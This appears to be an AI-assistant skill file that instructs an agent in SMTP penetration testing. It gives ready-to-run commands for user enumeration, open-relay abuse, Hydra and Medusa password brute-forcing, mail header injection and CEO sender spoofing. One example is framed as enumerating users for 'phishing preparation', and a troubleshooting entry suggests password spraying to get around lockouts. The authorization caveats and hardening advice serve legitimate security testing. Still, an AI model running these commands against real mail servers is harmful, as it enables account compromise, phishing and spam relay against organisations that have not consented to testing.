SMTP Penetration Testing

This skill should be used when the user asks to "perform SMTP penetration testing", "enumerate email users", "test for open mail relays", "grab SMTP banners", "brute force email credentials", or "assess mail server security". It provides comprehensive techniques for testing SMTP server security.

View Source
name:SMTP Penetration Testingdescription:This skill should be used when the user asks to "perform SMTP penetration testing", "enumerate email users", "test for open mail relays", "grab SMTP banners", "brute force email credentials", or "assess mail server security". It provides comprehensive techniques for testing SMTP server security.metadata:author:zebbernversion:"1.1"

SMTP Penetration Testing

Purpose

Conduct comprehensive security assessments of SMTP (Simple Mail Transfer Protocol) servers to identify vulnerabilities including open relays, user enumeration, weak authentication, and misconfiguration. This skill covers banner grabbing, user enumeration techniques, relay testing, brute force attacks, and security hardening recommendations.

Prerequisites

Required Tools


# Nmap with SMTP scripts
sudo apt-get install nmap

Netcat


sudo apt-get install netcat

Hydra for brute force


sudo apt-get install hydra

SMTP user enumeration tool


sudo apt-get install smtp-user-enum

Metasploit Framework


msfconsole

Required Knowledge


  • SMTP protocol fundamentals

  • Email architecture (MTA, MDA, MUA)

  • DNS and MX records

  • Network protocols
  • Required Access


  • Target SMTP server IP/hostname

  • Written authorization for testing

  • Wordlists for enumeration and brute force
  • Outputs and Deliverables

  • SMTP Security Assessment Report - Comprehensive vulnerability findings

  • User Enumeration Results - Valid email addresses discovered

  • Relay Test Results - Open relay status and exploitation potential

  • Remediation Recommendations - Security hardening guidance
  • Core Workflow

    Phase 1: SMTP Architecture Understanding

    Components: MTA (transfer) → MDA (delivery) → MUA (client)

    Ports: 25 (SMTP), 465 (SMTPS), 587 (submission), 2525 (alternative)

    Workflow: Sender MUA → Sender MTA → DNS/MX → Recipient MTA → MDA → Recipient MUA

    Phase 2: SMTP Service Discovery

    Identify SMTP servers and versions:

    # Discover SMTP ports
    nmap -p 25,465,587,2525 -sV TARGET_IP

    Aggressive service detection


    nmap -sV -sC -p 25 TARGET_IP

    SMTP-specific scripts


    nmap --script=smtp-* -p 25 TARGET_IP

    Discover MX records for domain


    dig MX target.com
    nslookup -type=mx target.com
    host -t mx target.com

    Phase 3: Banner Grabbing

    Retrieve SMTP server information:

    # Using Telnet
    telnet TARGET_IP 25

    Response: 220 mail.target.com ESMTP Postfix

    Using Netcat


    nc TARGET_IP 25

    Response: 220 mail.target.com ESMTP

    Using Nmap


    nmap -sV -p 25 TARGET_IP

    Version detection extracts banner info

    Manual SMTP commands


    EHLO test

    Response reveals supported extensions

    Parse banner information:

    Banner reveals:
  • Server software (Postfix, Sendmail, Exchange)

  • Version information

  • Hostname

  • Supported SMTP extensions (STARTTLS, AUTH, etc.)
  • Phase 4: SMTP Command Enumeration

    Test available SMTP commands:

    # Connect and test commands
    nc TARGET_IP 25

    Initial greeting


    EHLO attacker.com

    Response shows capabilities:


    250-mail.target.com
    250-PIPELINING
    250-SIZE 10240000
    250-VRFY
    250-ETRN
    250-STARTTLS
    250-AUTH PLAIN LOGIN
    250-8BITMIME
    250 DSN

    Key commands to test:

    # VRFY - Verify user exists
    VRFY admin
    250 2.1.5 admin@target.com

    EXPN - Expand mailing list


    EXPN staff
    250 2.1.5 user1@target.com
    250 2.1.5 user2@target.com

    RCPT TO - Recipient verification


    MAIL FROM:<test@attacker.com>
    RCPT TO:<admin@target.com>

    250 OK = user exists


    550 = user doesn't exist

    Phase 5: User Enumeration

    Enumerate valid email addresses:

    # Using smtp-user-enum with VRFY
    smtp-user-enum -M VRFY -U /usr/share/wordlists/users.txt -t TARGET_IP

    Using EXPN method


    smtp-user-enum -M EXPN -U /usr/share/wordlists/users.txt -t TARGET_IP

    Using RCPT method


    smtp-user-enum -M RCPT -U /usr/share/wordlists/users.txt -t TARGET_IP

    Specify port and domain


    smtp-user-enum -M VRFY -U users.txt -t TARGET_IP -p 25 -d target.com

    Using Metasploit:

    use auxiliary/scanner/smtp/smtp_enum
    set RHOSTS TARGET_IP
    set USER_FILE /usr/share/wordlists/metasploit/unix_users.txt
    set UNIXONLY true
    run

    Using Nmap:

    # SMTP user enumeration script
    nmap --script smtp-enum-users -p 25 TARGET_IP

    With custom user list


    nmap --script smtp-enum-users --script-args smtp-enum-users.methods={VRFY,EXPN,RCPT} -p 25 TARGET_IP

    Phase 6: Open Relay Testing

    Test for unauthorized email relay:

    # Using Nmap
    nmap -p 25 --script smtp-open-relay TARGET_IP

    Manual testing via Telnet


    telnet TARGET_IP 25
    HELO attacker.com
    MAIL FROM:<test@attacker.com>
    RCPT TO:<victim@external-domain.com>
    DATA
    Subject: Relay Test
    This is a test.
    .
    QUIT

    If accepted (250 OK), server is open relay

    Using Metasploit:

    use auxiliary/scanner/smtp/smtp_relay
    set RHOSTS TARGET_IP
    run

    Test variations:

    # Test different sender/recipient combinations
    MAIL FROM:<>
    MAIL FROM:<test@[attacker_IP]>
    MAIL FROM:<test@target.com>

    RCPT TO:<test@external.com>
    RCPT TO:<"test@external.com">
    RCPT TO:<test%external.com@target.com>

    Phase 7: Brute Force Authentication

    Test for weak SMTP credentials:

    # Using Hydra
    hydra -l admin -P /usr/share/wordlists/rockyou.txt smtp://TARGET_IP

    With specific port and SSL


    hydra -l admin -P passwords.txt -s 465 -S TARGET_IP smtp

    Multiple users


    hydra -L users.txt -P passwords.txt TARGET_IP smtp

    Verbose output


    hydra -l admin -P passwords.txt smtp://TARGET_IP -V

    Using Medusa:

    medusa -h TARGET_IP -u admin -P /path/to/passwords.txt -M smtp

    Using Metasploit:

    use auxiliary/scanner/smtp/smtp_login
    set RHOSTS TARGET_IP
    set USER_FILE /path/to/users.txt
    set PASS_FILE /path/to/passwords.txt
    set VERBOSE true
    run

    Phase 8: SMTP Command Injection

    Test for command injection vulnerabilities:

    # Header injection test
    MAIL FROM:<attacker@test.com>
    RCPT TO:<victim@target.com>
    DATA
    Subject: Test
    Bcc: hidden@attacker.com
    X-Injected: malicious-header

    Injected content
    .

    Email spoofing test:

    # Spoofed sender (tests SPF/DKIM protection)
    MAIL FROM:<ceo@target.com>
    RCPT TO:<employee@target.com>
    DATA
    From: CEO <ceo@target.com>
    Subject: Urgent Request
    Please process this request immediately.
    .

    Phase 9: TLS/SSL Security Testing

    Test encryption configuration:

    # STARTTLS support check
    openssl s_client -connect TARGET_IP:25 -starttls smtp

    Direct SSL (port 465)


    openssl s_client -connect TARGET_IP:465

    Cipher enumeration


    nmap --script ssl-enum-ciphers -p 25 TARGET_IP

    Phase 10: SPF, DKIM, DMARC Analysis

    Check email authentication records:

    # SPF/DKIM/DMARC record lookups
    dig TXT target.com | grep spf # SPF
    dig TXT selector._domainkey.target.com # DKIM
    dig TXT _dmarc.target.com # DMARC

    SPF policy: -all = strict fail, ~all = soft fail, ?all = neutral

    Quick Reference

    Essential SMTP Commands

    CommandPurposeExample
    HELOIdentify clientHELO client.com
    EHLOExtended HELOEHLO client.com
    MAIL FROMSet senderMAIL FROM:<sender@test.com>
    RCPT TOSet recipientRCPT TO:<user@target.com>
    DATAStart message bodyDATA
    VRFYVerify userVRFY admin
    EXPNExpand aliasEXPN staff
    QUITEnd sessionQUIT

    SMTP Response Codes

    CodeMeaning
    220Service ready
    221Closing connection
    250OK / Requested action completed
    354Start mail input
    421Service not available
    450Mailbox unavailable
    550User unknown / Mailbox not found
    553Mailbox name not allowed

    Enumeration Tool Commands

    ToolCommand
    smtp-user-enumsmtp-user-enum -M VRFY -U users.txt -t IP
    Nmapnmap --script smtp-enum-users -p 25 IP
    Metasploituse auxiliary/scanner/smtp/smtp_enum
    Netcatnc IP 25 then manual commands

    Common Vulnerabilities

    VulnerabilityRiskTest Method
    Open RelayHighRelay test with external recipient
    User EnumerationMediumVRFY/EXPN/RCPT commands
    Banner DisclosureLowBanner grabbing
    Weak AuthHighBrute force attack
    No TLSMediumSTARTTLS test
    Missing SPF/DKIMMediumDNS record lookup

    Constraints and Limitations

    Legal Requirements


  • Only test SMTP servers you own or have authorization to test

  • Sending spam or malicious emails is illegal

  • Document all testing activities

  • Do not abuse discovered open relays
  • Technical Limitations


  • VRFY/EXPN often disabled on modern servers

  • Rate limiting may slow enumeration

  • Some servers respond identically for valid/invalid users

  • Greylisting may delay enumeration responses
  • Ethical Boundaries


  • Never send actual spam through discovered relays

  • Do not harvest email addresses for malicious use

  • Report open relays to server administrators

  • Use findings only for authorized security improvement
  • Examples

    Example 1: Complete SMTP Assessment

    Scenario: Full security assessment of mail server

    # Step 1: Service discovery
    nmap -sV -sC -p 25,465,587 mail.target.com

    Step 2: Banner grab


    nc mail.target.com 25
    EHLO test.com
    QUIT

    Step 3: User enumeration


    smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/top-usernames-shortlist.txt -t mail.target.com

    Step 4: Open relay test


    nmap -p 25 --script smtp-open-relay mail.target.com

    Step 5: Authentication test


    hydra -l admin -P /usr/share/wordlists/fasttrack.txt smtp://mail.target.com

    Step 6: TLS check


    openssl s_client -connect mail.target.com:25 -starttls smtp

    Step 7: Check email authentication


    dig TXT target.com | grep spf
    dig TXT _dmarc.target.com

    Example 2: User Enumeration Attack

    Scenario: Enumerate valid users for phishing preparation

    # Method 1: VRFY
    smtp-user-enum -M VRFY -U users.txt -t 192.168.1.100 -p 25

    Method 2: RCPT with timing analysis


    smtp-user-enum -M RCPT -U users.txt -t 192.168.1.100 -p 25 -d target.com

    Method 3: Metasploit


    msfconsole
    use auxiliary/scanner/smtp/smtp_enum
    set RHOSTS 192.168.1.100
    set USER_FILE /usr/share/metasploit-framework/data/wordlists/unix_users.txt
    run

    Results show valid users


    [+] 192.168.1.100:25 - Found user: admin
    [+] 192.168.1.100:25 - Found user: root
    [+] 192.168.1.100:25 - Found user: postmaster

    Example 3: Open Relay Exploitation

    Scenario: Test and document open relay vulnerability

    # Test via Telnet
    telnet mail.target.com 25
    HELO attacker.com
    MAIL FROM:<test@attacker.com>
    RCPT TO:<test@gmail.com>

    If 250 OK - VULNERABLE

    Document with Nmap


    nmap -p 25 --script smtp-open-relay --script-args smtp-open-relay.from=test@attacker.com,smtp-open-relay.to=test@external.com mail.target.com

    Output:


    PORT STATE SERVICE


    25/tcp open smtp


    |_smtp-open-relay: Server is an open relay (14/16 tests)

    Troubleshooting

    IssueCauseSolution
    Connection RefusedPort blocked or closedCheck port with nmap; ISP may block port 25; try 587/465; use VPN
    VRFY/EXPN DisabledServer hardenedUse RCPT TO method; analyze response time/code variations
    Brute Force BlockedRate limiting/lockoutSlow down (hydra -W 5); use password spraying; check for fail2ban
    SSL/TLS ErrorsWrong port or protocolUse 465 for SSL, 25/587 for STARTTLS; verify EHLO response

    Security Recommendations

    For Administrators

  • Disable Open Relay - Require authentication for external delivery

  • Disable VRFY/EXPN - Prevent user enumeration

  • Enforce TLS - Require STARTTLS for all connections

  • Implement SPF/DKIM/DMARC - Prevent email spoofing

  • Rate Limiting - Prevent brute force attacks

  • Account Lockout - Lock accounts after failed attempts

  • Banner Hardening - Minimize server information disclosure

  • Log Monitoring - Alert on suspicious activity

  • Patch Management - Keep SMTP software updated

  • Access Controls - Restrict SMTP to authorized IPs